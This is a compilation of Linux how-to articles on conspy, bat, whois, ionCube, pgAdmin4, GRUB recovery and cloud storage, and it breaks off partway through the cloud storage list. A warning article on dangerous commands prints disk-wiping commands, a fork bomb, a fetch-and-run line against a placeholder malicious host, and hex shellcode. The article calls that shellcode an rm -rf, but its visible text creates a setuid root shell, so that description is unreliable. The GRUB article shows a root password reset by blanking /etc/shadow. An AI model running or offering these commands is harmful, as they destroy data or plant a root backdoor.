How to Use Conspy to View and Control Remote Linux Virtual Consoles in Real Time

Computer networks have made it possible for end users to interact one with another in several ways. They have also provided a way to perform remote work without the hassle and the costs involved with traveling (or perhaps walking to a nearby office).

Recently, I discovered a program called conspy in the Debian stable repositories and was glad to find out that it is available for Fedora and derivatives as well.

Conspy Watch Remote Linux Commands in Real Time

Conspy – Watch Remote Linux Commands in Real Time

It allows a user to see what is being displayed on a Linux virtual console, and also to send keystrokes to it in real time. In a certain way, you can think of conspy as similar to VNC, with the difference that conspy operates in text mode (thus saving resources and making it possible to also support CLI-only servers) and in top of all that, does not require a server-side service to be installed prior to being used.

That said, you only need to make sure that there is network connectivity to the remote computer and you will learn to love conspy.

Installing conspy in Linux

In Debian 8 and derivatives, conspy is available directly from the repositories, so installing it is as simple as:

# aptitude update && aptitude install conspy

Whereas in CentOS 7 and other Fedora-based distros you first have to enable the Repoforge repository:

1. Go to http://pkgs.repoforge.org/rpmforge-release and search for the latest version of the repository (as of September 2015 the latest package is rpmforge-release-0.5.3-1.el7.rf.x86_64.rpm) and download it:

# wget http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el7.rf.x86_64.rpm

2. Install the repository package:

# rpm –Uvh rpmforge-release-0.5.3-1.el7.rf.x86_64.rpm

3. And then install the conspy package itself:

# yum update && yum install conspy

Testing Environment Used for conspy

To see how conspy works, we will ssh into a Debian 8 server [IP 192.168.0.25] (using Terminal or gnome ter, for example) where the ssh daemon is listening on port 11222:

# ssh –p 11222 user@192.168.0.25

Right next to our Terminal, we will place a Virtualbox window that will be used to display ttys. Remember that you will need to press Right Ctrl + F1 through F6 to switch between ttys inside a Virtualbox window, and Ctrl + Alt + F1 through F6 to switch between consoles in a real (i.e. not virtualized) server.

Using conspy to Display and Control ttys

To launch conspy, ssh into the remote server and then just type:

# conspy

followed by a tty number, (1 through 6). You will notice that the background color of your Terminal changes. We will use the tty command to identify the file name of the terminal currently connected to standard input. If a tty is not supplied as argument, the currently active virtual console is opened and tracked.

Note that after launching the program as:

# conspy 1

The first terminal (tty1) is displayed instead of pts/0 (the initial pseudo-terminal for a ssh connection):

Conspy Usage

Conspy Usage

To exit, press Esc three times in quick succession.

Watch Conspy in Action

To better see conspy in action, please take a minute to watch the following screencasts:

1. Keystrokes being sent from the client to remote tty:

2. Tty contents are displayed in the client as they appear in the remote tty:

In the above videos you can see a couple of interesting things:

  1. You can run commands or type text in a pseudo-terminal and they will be visualized in the remote console, and viceversa.<.li>
  2. There is no need to launch a server-side program in the server at the distant location, as opposed to other tech support software that requires someone to start a service for you to connect remotely to.
  1. Conspy also allows you to visualize in real time the output of programs such as top or ping which is refreshed or changed continuously with only a very slight delay. This includes ncurses-based programs such as htop – Linux Process Monitoring as well:

Conspy with Htop Linux Process Monitoring

Conspy with Htop Linux Process Monitoring

If you only want to view a remote terminal instead of sending keystrokes or commands, just launch conspy with the -v switch (view only).

Using conspy with Putty

If you use a Windows laptop or desktop for work you can still take advantage of conspy. After logging on to the remote system with Putty, the famous ssh client for Windows, you can still launch conspy as explained above, as shown in the following screencast:

Conspy Limitations

Despite its nice features, conspy also has some limitations, which you should take into account:

  1. It only allows you to view, connect to, or control real terminals (ttys), not pseudo ones (pts/Xs).
  2. It may display non-ASCII characters (á, é, ñ, to name a few examples) incorrectly or not at all:

Conspy: Non ASCII Characters

Conspy: Non ASCII Characters

It requires super user permissions (either as root or through sudo) to launch.

Summary

In this guide we have introduced you to conspy, a priceless tool to control remote terminals that consumes very little in terms of system resources.

I hope that you take the time to install and try out this great utility, and highly recommend you bookmark this article because in my humble opinion this is one of those tools that need to be a part of every system administrator’s skills set.

Source

Bat – A Cat Clone with Syntax Highlighting and Git Integration

Bat is a cat command clone with advance syntax highlighting for a large number of programming and markup languages and it also comes with Git integration to show file modifications. Its other features include automatic paging, file concatenation, themes for syntax highlighting and various styles for presenting output.

Read Alsoccat – Show ‘cat Command’ Output with Syntax Highlighting or Colorizing

In addition, you can also add new syntaxes / language definitions, themes and set a custom pager. In this article, we will show how to install and use a Bat (cat clone) in Linux.

Read AlsoHow to Use ‘cat’ and ‘tac’ Commands with Examples in Linux

How to Install Bat (A cat clone) in Linux

On Debian and other Debian-based Linux distributions, you can download the latest .deb package from the release page or use the following the wget command to download and install it as shown.

$ wget https://github.com/sharkdp/bat/releases/download/v0.8.0/bat_0.8.0_amd64.deb
$ sudo dpkg -i bat_0.8.0_amd64.deb

On Arch Linux, you can install it from the Community repository as shown.

$ sudo pacman -S bat

After installing bat, simply run it in the same way you normally run cat command, for example, the following command will display the specified file content with syntax highlighting.

$ bat bin/bashscripts/sysadmin/topprocs.sh

View a File with Syntax Highlighting

View a File with Syntax Highlighting

To display multiple files at ones, use the following command.

$ bat domains.txt hosts

Display Multiple Files Content

Display Multiple Files Content

You can only print a specified range of lines (for example print lines 13 to 24 only) for a file or each file, using the --line-range switch as shown.

$ bat --line-range 13:24 bin/bashscripts/sysadmin/topprocs.sh

Print Specified Range of Lines

Print Specified Range of Lines

To show all supported language names and file extensions, use the –list-languages option.

$ bat --list-languages

List Supported Languages for Syntax Highlighting

List Supported Languages for Syntax Highlighting

Then explicitly set a language for syntax highlighting using the -l switch.

$ bat -l Python httpie/setup.py

Set Language for Syntax Highlighting

Set Language for Syntax Highlighting

You can also read from stdin as in this example.

$ ls -l | bat

Read from Stdin Output

Read from Stdin Output

To see a list of available themes for syntax highlighting, use the --list-themes option.

$ bat --list-themes

List Themes for Syntax Highlighting

List Themes for Syntax Highlighting

After you have picked a theme to use, enable it with the --theme option.

$ bat --theme=Github

Note that these settings will be lost after a reboot, to make the changes permanent, export the BAT_THEMEenvironment variable in the file ~/.bashrc (user specific) or /etc/bash.bashrc (system-wide) by adding the following line in it.

export BAT_THEME="Github"

To only show line numbers without any other decorations, use the -n switch.

$ bat -n domains.txt hosts

Bat uses “less” as the default pager. However, you can specify when to use the pager, with the --paging and the possible values include *auto*never and always.
$ bat –paging always

In addition, you can define the pager using the PAGER or BAT_PAGER (this takes precedence) environment variables, in a similar fashion as the BAT_THEME env variable, as explained above. Setting these variables with empty values disables the pager.

For more information on how to use or customize bat, type man bat or go to its Github Repository: https://github.com/sharkdp/bat.

Summary

Bat is a user-friendly cat clone with syntax highlighting and git integration. Share your thoughts about it, with us via the feedback form below. If you have come across any similar CLI utilities out there, let us know as well.

Source

How to Get Domain and IP Address Information Using WHOIS Command

WHOIS is a TCP-based query and response protocol that is commonly used to provide information services to Internet users. It returns information about the registered Domain Names, an IP address block, Name Servers and a much wider range of information services.

In Linux, the whois command line utility is a WHOIS client for communicating with the WHOIS server (or database host) which listen to requests on the well-known port number 43, which stores and delivers database content in a human-readable format.

Read Also10 Linux Dig (Domain Information Groper) Commands to Query DNS

whois command line utility does not come pre-installed on many Linux distributions, run the appropriate command below for your distribution to install it.

# yum install whois		#RHEL/CentOS
# dnf install whois		#Fedora 22+
$ sudo apt install whois	#Debian/Ubuntu

How to Find IP Address Information

To get the information about specific IP Address issue the command as shown in the below example.

$ whois 216.58.206.46

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/public/whoisinaccuracy/index.xhtml
#


#
# The following results may also be obtained via:
# https://whois.arin.net/rest/nets;q=216.58.206.46?showDetails=true&showARIN=false&showNonArinTopLevelNet=false&ext=netref2
#

NetRange:       216.58.192.0 - 216.58.223.255
CIDR:           216.58.192.0/19
NetName:        GOOGLE
NetHandle:      NET-216-58-192-0-1
Parent:         NET216 (NET-216-0-0-0-0)
NetType:        Direct Allocation
OriginAS:       AS15169
Organization:   Google LLC (GOGL)
RegDate:        2012-01-27
Updated:        2012-01-27
Ref:            https://whois.arin.net/rest/net/NET-216-58-192-0-1



OrgName:        Google LLC
OrgId:          GOGL
Address:        1600 Amphitheatre Parkway
City:           Mountain View
StateProv:      CA
PostalCode:     94043
Country:        US
RegDate:        2000-03-30
Updated:        2017-12-21
Ref:            https://whois.arin.net/rest/org/GOGL
...

How to Find Domain Information

To get the information about the registered domain, simply issue the following command with the domain name. It will retrieve domain data including availability, ownership, creation, expiration details, name servers, etc.

$ whois google.com

Domain Name: GOOGLE.COM
   Registry Domain ID: 2138514_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.markmonitor.com
   Registrar URL: http://www.markmonitor.com
   Updated Date: 2011-07-20T16:55:31Z
   Creation Date: 1997-09-15T04:00:00Z
   Registry Expiry Date: 2020-09-14T04:00:00Z
   Registrar: MarkMonitor Inc.
   Registrar IANA ID: 292
   Registrar Abuse Contact Email: abusecomplaints@markmonitor.com
   Registrar Abuse Contact Phone: +1.2083895740
   Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
   Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
   Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
   Domain Status: serverDeleteProhibited https://icann.org/epp#serverDeleteProhibited
   Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
   Domain Status: serverUpdateProhibited https://icann.org/epp#serverUpdateProhibited
   Name Server: NS1.GOOGLE.COM
   Name Server: NS2.GOOGLE.COM
   Name Server: NS3.GOOGLE.COM
   Name Server: NS4.GOOGLE.COM
....

The formatting of information will differ based on the WHOIS server used. In addition, one downside of WHOIS is the lack of full access to the data, therefore check out these useful guides for querying DNS information in Linux:

  1. Useful ‘host’ Command Examples for Querying DNS Lookups
  2. 8 Linux Nslookup Commands to Troubleshoot DNS (Domain Name Server)

If you have any queries or information about the article that you want to share with us, use the comment form below.

Source

How to Copy a File to Multiple Directories in Linux

While learning Linux, it is always the norm for newbies to keep on typing several commands to accomplish a simple task. This is understandable especially when one is just getting accustomed to using the terminal.

However, as you look forward to becoming a Linux power user, learning what I would refer to as “shortcut commands” can significantly reduce time wasting tendencies.

In this article, we will explain an easy way, using a single command to copy a file into multiple directories in Linux.

In Linux, the cp command is used to copy files from one directory to another, the easiest syntax for using it is as follows:

# cp [options….] source(s) destination

Alternatively, you can also use the advanced-copy command, which shows a progress bar while copying large files/folders in Linux.

Consider the commands below, normally, you would type two different commands to copy the same file into two separate directories as follows:

# cp -v /home/aaronkilik/bin/sys_info.sh /home/aaronkilik/test
# cp -v /home/aaronkilik/bin/sys_info.sh /home/aaronkilik/tmp

Copy Files to Multiple Directories

Copy Files to Multiple Directories

Assuming that you want to copy a particular file into up to five or more directories, this means you would have to type five or more cp commands?

To do away with this problem, you can employ the echo command, a pipexargs command together with the cpcommand in the form below:

# echo /home/aaronkilik/test/ /home/aaronkilik/tmp | xargs -n 1 cp -v /home/aaronkilik/bin/sys_info.sh

In the form above, the paths to the directories (dir1,dir2,dir3…..dirN) are echoed and piped as input to the xargscommand where:

  1. -n 1 – tells xargs to use at most one argument per command line and send to the cp command.
  2. cp – used to copying a file.
  3. -v – enables verbose mode to show details of the copy operation.

Copy File to Multiple Locations in Linux

Copy File to Multiple Locations in Linux

Try to read through the man pages of cpecho and xargs commands to find useful and advanced usage information:

$ man cp
$ man echo
$ man xargs

That’s all, you can send us questions in relation to the topic or any feedback through the comment form below. You may also want to read about the progress command which helps to monitor the progress of (cpmvddtar, etc.) commands that are presently running in Linux.

Source

10 Most Dangerous Commands – You Should Never Execute on Linux

Linux command line is productive, useful and interesting but sometimes it may be very much dangerous specially when you are not sure what you are doing. This article is not intended to make you furious of Linux or Linux command line. We just want to make you aware of some of the commands which you should think twice before you execute them.

Dangerous Linux Commands

10 Dangerous Linux Commands

1. rm -rf Command

The rm -rf command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with rm command are.

  1. rm command in Linux is used to delete files.
  2. rm -r command deletes the folder recursively, even the empty folder.
  3. rm -f command removes ‘Read only File’ without asking.
  4. rm -rf / : Force deletion of everything in root directory.
  5. rm -rf * : Force deletion of everything in current directory/working directory.
  6. rm -rf . : Force deletion of current folder and sub folders.

Hence, be careful when you are executing rm -rf command. To overcome accidental delete of file by ‘rm‘ command, create an alias of ‘rm‘ command as ‘rm -i‘ in “.bashrc” file, it will ask you to confirm every deletion.

2. :(){:|:&};: Command

The above is actually a fork bomb. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.

:(){:|:&};:

3. command > /dev/sda

The above command writes the output of ‘command‘ on the block /dev/sda. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.

4. mv folder /dev/null

The above command will move ‘folder‘ to /dev/null. In Linux /dev/null or null device is a special file that discards all the data written to it and reports that write operation succeed.

# mv /home/user/* /dev/null

The above command will move all the contents of a User directory to /dev/null, which literally means everything there was sent to blackhole (null).

5. wget http://malicious_source -O- | sh

The above command will download a script from a malicious source and then execute it. Wget command will download the script and sh will execute the downloaded script.

Note: You should be very much aware of the source from where you are downloading packages and scripts. Only use those scripts/applications which is downloaded from a trusted source.

6. mkfs.ext3 /dev/sda

The above command will format the block ‘sda’ and you would surely be knowing that after execution of the above command your Block (Hard Disk Drive) would be new, BRAND NEW! Without any data, leaving your system into unrecoverable stage.

7. > file

The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> xt.conf” will write the configuration file or any other system or configuration file.

8. ^foo^bar

This command, as described in our 10 Lesser Known Linux Commands, is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn’t took the risk of thoroughly checking the change in original command using ^foo^bar command.

9. dd if=/dev/random of=/dev/sda

The above command will wipe out the block sda and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.

10. Hidden the Command

The below command is nothing but the first command above (rm -rf). Here the codes are hidden in hex so that an ignorant user may be fooled. Running the below code in your terminal will wipe your root partition.

This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Don’t compile/run codes from an unknown source.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Note: Don’t execute any of the above command in your Linux terminal or shell or of your friend or school computer. If you want to test them, run them in virtual machine. Any in-consistence or data loss, due to the execution of above command will break your system down for which, neither the Author of the article nor Tecmint is responsible.

That’s all for now. I will soon be here again with another interesting article you people will love to read. Till then Stay tuned and connected to Tecmint. If you know any other such Dangerous Linux Commands and you would like us to add to the list, please tell us via comment section and don’t forgot to give your value-able feedback.

Source

How to Install ionCube Loader in CentOS 7

ionCube is a commercial software suite consisting of a PHP encoder, package foundry, bundler, a real time site intrusion detection and error reporting application as well as a loader.

PHP encoder is an application for PHP software protection: used to secure, encrypt and license PHP source code. ionCube loader is an extension used to load PHP files protected and encoded using PHP encoder. It is mostly used in commercial software applications to protect their source code and prevent it from being visible.

Read AlsoHow to Install ionCube Loader in Debian and Ubuntu

In this article, we will show how to install and configure ionCube Loader with PHP in CentOS 7 and RHEL 7distributions.

Prerequisites:

Your server must have a running web server (Apache or Nginx) with PHP installed. If you don’t have a web server and PHP on your system, you can install them using yum package manager as shown.

Step 1: Install Apache or Nginx Web Server with PHP

1. If you already have a running web server Apache or Nginx with PHP installed on your system, you can jump to the Step 2, otherwise use the following yum command to install them.

-------------------- Install Apache with PHP --------------------
# yum install httpd php php-cli	php-mysql

-------------------- Install Nginx with PHP -------------------- 
# yum install nginx php php-fpm php-cli	php-mysql

2. After installing Apache or Nginx with PHP on your system, start the web server and make sure to enable it to auto start at system boot time using following commands.

-------------------- Start Apache Web Server --------------------
# systemctl start httpd
# systemctl enable httpd

-------------------- Start Nginx + PHP-FPM Server --------------------
# systemctl start nginx
# systemctl enable nginx
# systemctl start php-fpm
# systemctl enable php-fpm

Step 2: Download IonCube Loader

3. Go to the inocube’s website and download the installation files, but before that first you need to check whether your system is running on 64-bit or 32-bit architecture using the following command.

# uname -a

Linux tecmint.com 4.15.0-1.el7.elrepo.x86_64 #1 SMP Sun Jan 28 20:45:20 EST 2018 x86_64 x86_64 x86_64 GNU/Linux

The above output clearly shows that the system is running on 64-bit architecture.

As per your Linux system architecture type download the ioncube loader files into /tmp directory using following wget command.

-------------------- For 64-bit System --------------------
# cd /tmp
# wget https://downloads.ioncube.com/loader_downloads/ioncube_loaders_lin_x86-64.tar.gz

-------------------- For 32-bit System --------------------
# cd /tmp
# wget https://downloads.ioncube.com/loader_downloads/ioncube_loaders_lin_x86.tar.gz

4. Then unzip the downloaded file using the tar command and move into the decompressed folder. Then run the ls command to list the numerous ioncube loader files for different PHP versions.

# tar -xvf ioncube_loaders_lin_x86*
# cd ioncube/
$ ls -l

Ioncube Loader Files

Ioncube Loader Files

Step 3: Install ionCube Loader for PHP

5. There will be different ioncube loader files for various PHP versions, you need to select the right ioncube loader for your installed PHP version on your server. To know the php version installed on your server, run the command.

# php -v

Verify PHP Version

Verify PHP Version

The above output clearly shows that the system is using PHP 5.4.16 version, in your case it should be different version.

6. Next, find the location of the extension directory for PHP version 5.4, it is where the ioncube loader file will be installed. From the output of this command, the directory is /usr/lib64/php/modules.

# php -i | grep extension_dir

extension_dir => /usr/lib64/php/modules => /usr/lib64/php/modules

7. Next we need to copy ioncube loader for our PHP 5.4 version to the extension directory (/usr/lib64/php/modules).

# cp /tmp/ioncube/ioncube_loader_lin_5.4.so /usr/lib64/php/modules

Note: Make sure to replace the PHP version and extension directory in the above command according to your system configuration.

Step 4: Configure ionCube Loader for PHP

8. Now we need to configure ioncube loader to work with PHP, in the php.ini file.

# vim /etc/php.ini

Then add below line as the first line in the php.ini file.

zend_extension = /usr/lib64/php/modules/ioncube_loader_lin_5.4.so

Enable ionCube Loader in PHP

Enable ionCube Loader in PHP

Note: Make sure to replace the extension directory and PHP version in the above command according to your system configuration.

9. Then save and exit the file. Now we need to restart the Apache or Nginx web server for the ioncube loaders to come into effect.

-------------------- Start Apache Web Server --------------------
# systemctl restart httpd

-------------------- Start Nginx + PHP-FPM Server --------------------
# systemctl restart nginx
# systemctl restart php-fpm

Step 5: Test ionCube Loader

10. To test if ionCube loader is now installed and properly configured on your server, check your PHP version once more. You should be able to see a message indicating that PHP is installed and configured with the ioncube loader extension (status should be enabled), as shown in the following screenshot.

# php -v

Test ionCuber Loader

Test ionCuber Loader

The above output confirms that the PHP is now loaded and enabled with ioncube loader.

ionCube loader is a PHP extension for loading files secured and encoded with PHP encoder. We hope that everything worked on fine while following this guide, otherwise, use the feedback form below to send us your queries.

Source

How to Install pgAdmin4 in CentOS 7

PgAdmin4 is a easy to use web interface for managing PostgreSQL databases. It can be used on multiple platforms such as Linux, Windows and Mac OS X. In pgAdmin 4 there is migration from bootstrap 3 to bootstrap 4.

In this tutorial we are going to install pgAdmin 4 on a CentOS 7 system.

Note: This tutorial assumes that you already have PostgreSQL 9.2 or above installed on your CentOS 7. For instructions how to install it, you can follow our guide: How to install PostgreSQL 10 on CentOS and Fedora.

How to Install pgAdmin 4 in CentOS 7

This step should have been completed upon the installation of PostgreSQL, but if you haven’t, you can complete it with:

# yum -y install https://download.postgresql.org/pub/repos/yum/11/redhat/rhel-7-x86_64/pgdg-centos11-11-2.noarch.rpm

Now you are ready to install pgAdmin with:

# yum -y install pgadmin4

During the installation, due to dependencies, the following two will be installed as well – pgadmin4-web and httpd web server.

How to Configure pgAdmin 4 in CentOS 7

There are few minor configuration changes that need to be done to have pgAdmin4 running. First we will rename the sample conf file from pgadmin4.conf.sample to pgadmin4.conf:

# mv /etc/httpd/conf.d/pgadmin4.conf.sample /etc/httpd/conf.d/pgadmin4.conf

Adjust the file so it looks like this:

<VirtualHost *:80>
LoadModule wsgi_module modules/mod_wsgi.so
WSGIDaemonProcess pgadmin processes=1 threads=25
WSGIScriptAlias /pgadmin4 /usr/lib/python2.7/site-packages/pgadmin4-web/pgAdmin4.wsgi

<Directory /usr/lib/python2.7/site-packages/pgadmin4-web/>
        WSGIProcessGroup pgadmin
        WSGIApplicationGroup %{GLOBAL}
        <IfModule mod_authz_core.c>
                # Apache 2.4
                Require all granted
        </IfModule>
        <IfModule !mod_authz_core.c>
                # Apache 2.2
                Order Deny,Allow
                Deny from All
                Allow from 127.0.0.1
                Allow from ::1
        </IfModule>
</Directory>
</VirtualHost>

Next we will create logs and lib directories for pgAdmin4 and set their ownership:

# mkdir -p /var/lib/pgadmin4/
# mkdir -p /var/log/pgadmin4/
# chown -R apache:apache /var/lib/pgadmin4
# chown -R apache:apache /var/log/pgadmin4

And then we can extend the contents of our config_distro.py.

# vi /usr/lib/python2.7/site-packages/pgadmin4-web/config_distro.py

And add the following lines:

LOG_FILE = '/var/log/pgadmin4/pgadmin4.log'
SQLITE_PATH = '/var/lib/pgadmin4/pgadmin4.db'
SESSION_DB_PATH = '/var/lib/pgadmin4/sessions'
STORAGE_DIR = '/var/lib/pgadmin4/storage'

Finally we will create our user account, with which we will authenticate in the web interface. To do this, run:

# python /usr/lib/python2.7/site-packages/pgadmin4-web/setup.py

Create PgAdmin4 User

Create PgAdmin4 User

Now you can access your server’s http://ip-address/pgadmin4 or http://localhost/pgadmin4 to reach the pgAdmin4 interface:

PgAdmin4 Login

PgAdmin4 Login

To authenticate, use the email address and password that you have used earlier. Once authenticate, you should see the pgAdmin4 interface:

PgAdmin4 Dashboard

PgAdmin4 Dashboard

At your first login, you will need to add a new server to manage. Click on “Add New Server”. You will need to configure the PostgresQL connection. In the first tab “General”, enter the following settings:

  • Name – give name of the server you are configuring.
  • Comment – leave a comment to give description of the instance.

Add New Server to PgAdmin4

Add New Server to PgAdmin4

The second tab “Connection” is more important one, as you will have to enter:

  • Host – host/IP address of the PostgreSQL instance.
  • Port – default port is 5432.
  • Maintenance database – this should be postgres.
  • Username – the username which will be connecting. You can use postgres user.
  • Password – password for the above user.

PgAdmin4 Server Connection Settings

PgAdmin4 Server Connection Settings

When you have filled everything, Save the changes. If the connection was successful, you should see the following page:

PgAdmin4 Database Summary

PgAdmin4 Database Summary

This was it. Your pgAdmin4 installation is complete and you can start managing your PostgreSQL database.

Source

How to Recover or Rescue Corrupted Grub Boot Loader in CentOS 7

In this tutorial we’ll cover the process of rescuing a corrupted boot loader in CentOS 7 or Red Hat Enterprise Linux 7 and recover the a forgotten root password.

The GRUB boot loader can sometimes be damaged, compromised or deleted in CentOS due to various issues, such as hardware or software related failures or sometimes can be replaced by other operating systems, in case of dual-booting. A corrupted Grub boot loader makes a CentOS/RHEL system unable to boot and transfer the control further to Linux kernel.

The Grub boot loader stage one is installed on the first 448 bytes at the beginning of every hard disk, in an area typically known as the Master Boot Record (MBR).

Read AlsoHow to Rescue, Repair and Recover Grub Boot Loader in Ubuntu

The MBR maximum size is 512 byes long. If from some reason the first 448 bytes are overwritten, the CentOS or Red Hat Enterprise Linux cannot be loaded unless you boot the machine with a CentOS ISO image in rescue mode or using other boot loading methods and reinstall the MBR GRUB boot loader.

Requirements

  1. Download CentOS 7 DVD ISO Image

Recover GRUB Boot Loader in CentOS 7

1. On the first step, download the latest version of CentOS 7 ISO image and burn it to a DVD or create a bootable USB stick. Place the bootable image into your machine appropriate drive and reboot the machine.

While the BIOS performs the POSTs tests, press a special key (Esc, F2, F11, F12, Del depending on the motherboard instructions) in order to enter BIOS settings and modify the boot sequence so that the bootable DVD/USB image is booted first at machine start-up, as illustrated in the below image.

System Boot Menu

System Boot Menu

2. After the CentOS 7 bootable media has been detected, the first screen will appear in your machine monitor output. From the first menu choose the Troubleshooting option and press [enter] key to continue.

Select CentOS 7 Troubleshooting

Select CentOS 7 Troubleshooting

3. On the next screen choose Rescue a CentOS system option and press [enter] key to move further. A new screen will appear with the message ‘Press the Enter key to begin the installation process’. Here, just press [enter] key again to load the CentOS system to memory.

Rescue CentOS 7 System

Rescue CentOS 7 System

Rescue CentOS 7Process

Rescue CentOS 7Process

4. After the installer software loads into your machine RAM, the rescue environment prompt will appear on your screen. On this prompt type 1 in order to Continue with the system recovery process, as illustrated in the below image.

CentOS 7 Rescue Prompt

CentOS 7 Rescue Prompt

5. On the next prompt the rescue program will inform you that your system has been mounted under /mnt/sysimage directory. Here, as the rescue program suggests, type chroot /mnt/sysimage in order to change Linux tree hierarchy from the ISO image to the mounted root partition under your disk.

Mount CentOS 7 Image

Mount CentOS 7 Image

6. Next, identify your machine hard drive by issuing the below command in the rescue prompt.

# ls /dev/sd*

In case your machine uses an underlying old physical RAID controller, the disks will have other names, such as /dev/cciss. Also, in case your CentOS system is installed under a virtual machine, the hard disks can be named /dev/vda or /dev/xvda.

However, after you’ve identified your machine hard disk, you can start installing the GRUB boot loader by issuing the below commands.

# ls /sbin | grep grub2  # Identify GRUB installation command
# /sbin/grub2-install /dev/sda  # Install the boot loader in the boot partition of the first hard disk

Install Grub Boot Loader in CentOS 7

Install Grub Boot Loader in CentOS 7

7. After the GRUB2 boot loader is successfully installed in your hard disk MBR area, type exit to return to the CentOS boot ISO image tree and reboot the machine by typing init 6 in the console, as illustrated in the below screenshot.

Exit CentOS 7 Grub Prompt

Exit CentOS 7 Grub Prompt

8. After machine restart, you should, first, enter BIOS settings and change the boot order menu (place the hard disk with the installed MBR boot loader on the first position in boot menu order).

Save BIOS settings and, again, reboot the machine to apply the new boot order. After reboot the machine should start directly into the GRUB menu, as shown in the below image.

CentOS 7 Grub Menu

CentOS 7 Grub Menu

Congratulations! You’ve successfully repaired your CentOS 7 system damaged GRUB boot loader. Be aware that sometimes, after restoring the GRUB boot loader, the machine will restart once or twice in order to apply the new grub configuration.

Recover Root Password in CentOS 7

9. If you’ve forgotten the root password and you cannot log in to CentOS 7 system, you can basically reset (blank) the password by booting the CentOS 7 ISO DVD image in recovery mode and follow the same steps as shown above, until you reach step 6. While you’re chrooted into your CentOS installation file system, issue the following command in order to edit Linux accounts password file.

# vi /etc/shadow

In shadow file, identify the root password line (usually is the first line), enter vi edit mode by pressing the i key and delete the entire string in between the first colon “:” and the second colon ”:”, as illustrated in the below screenshot.

Root Encrypted Password

Root Encrypted Password

Delete Root Encrypted Password

Delete Root Encrypted Password

After you finish, save the file by pressing the following keys in this order Esc -> : -> wq!

10. Finally, exit the chrooted console and type init 6 to reboot the machine. After reboot, login to your CentOS system with the root account, which has no password configured now, and setup a new password for root user by executing the passwd command, as illustrated in the below screenshot.

Set New Root Password in CentOS 7

Set New Root Password in CentOS 7

That’s all! Booting a physical machine or a VM with a CentOS 7 DVD ISO image in recovery mode can help system administrators to perform various troubleshooting tasks for a broken system, such as recovering data or the ones described in the tutorial.

12 Open Source Cloud Storage Software to Store and Sync Your Data Quickly and Safely

Cloud by name indicates something which is very huge and present over a large area. Going by the name, in technical field, Cloud is something which is virtual and provides services to end users in form of storage, hosting of apps or virtualizing any physical space. Now a days, Cloud computing is used by small as well as large organizations for data storage or providing customers with its advantages which are listed above.

Free Open Source Cloud Storage Softwares for Linux

12 Free Open Source Cloud Storage Software’s

Mainly, three types of Services come associated with Cloud which are: SaaS (Software as a Service) for allowing users to access other publically available clouds of large organizations for storing their data like: gmailPaaS(Platform as a Service) for hosting of apps or software on Others public cloud ex: Google App Engine which hosts apps of users, IaaS (Infrastructure as a Service) for virtualizing any physical machine and availing it to customers to make them get feel of a real machine.

Cloud Storage

Cloud Storage means storage of data away from users local system and across the span of dedicated servers which are meant for this. At its earliest, CompuServe in 1983 offered its customers 128k of disk space which could be used to store files. Whereas this field is under active development and will be because of potential threats including: loss of data or information, data hacking or masquerading and other attacks, many organizations have come forward with their own solutions to Cloud Storage and Data Privacy which is strengthening and stabilizing its future.

In this article, we will present some of selected contributions for this concern which are open source and successfully being accepted by huge masses and big organizations.

1. OwnCloud

Dropbox replacement for Linux users, giving many functionalities which are similar to that of DropBox, ownCloud is a self-hosted file sync and share server.

Its open source functionality provides users with access to unlimited amount of storage space. Project started in January 2010 with aim to provide open source replacement for proprietary cloud storage service providers. It is written in PHP, JavaScript and available for Windows, Linux, OS X desktops and even successfully provides mobile clients for Android and iOS.

OwnCloud employs WebDav server for remote access and can integrate with large number of Databases including: SQLite, MariaDB, MySQL, Oracle Database, PostgreSQL.

Provides large number of features countable of which include: File storage and encryption, Music Streaming, content sharing across URL’s, Mozilla sync hosting and RSS/Atom feed reader, one-click app installation, Video and PDF viewer and many more.

The latest version of ownCloud i.e. 8.2 adds on other new features including: improved design, allows admin to notify users and set retention limits on files in the trash.

OwnCloud

OwnCloud

Read MoreInstall OwnCloud 8 to Create Personal Cloud Storage in Linux

2. Seafile

Another file hosting software system which exploits open source property to avail its users with all advantages they expect from a good cloud storage software system. It is written in C, Python with latest stable release being 4.4.3 released on 15th October 2015.

Seafile provides desktop client for Windows, Linux, and OS X and mobile clients for Android, iOS and Windows Phone. Along with a community edition released under General Public License, it also has a professional edition released under commercial license which provides extra features not supported in community edition i.e. user logging and text search.

Since it got open sourced in July 2012, it started gaining international attention. Its main features are syncing and sharing with main focus on data safety. Other features of Seafile which have made it common in many universities like: University Mainz, University HU Berlin and University Strasbourg and also among other thousands of people worldwide are: online file editing, differential sync to minimize the bandwidth required, client-side encryption to secure client data.

Seafile Cloud Storage

Seafile Cloud Storage

Read MoreInstall Seafile Secure Cloud Storage in Linux

3. Pydio

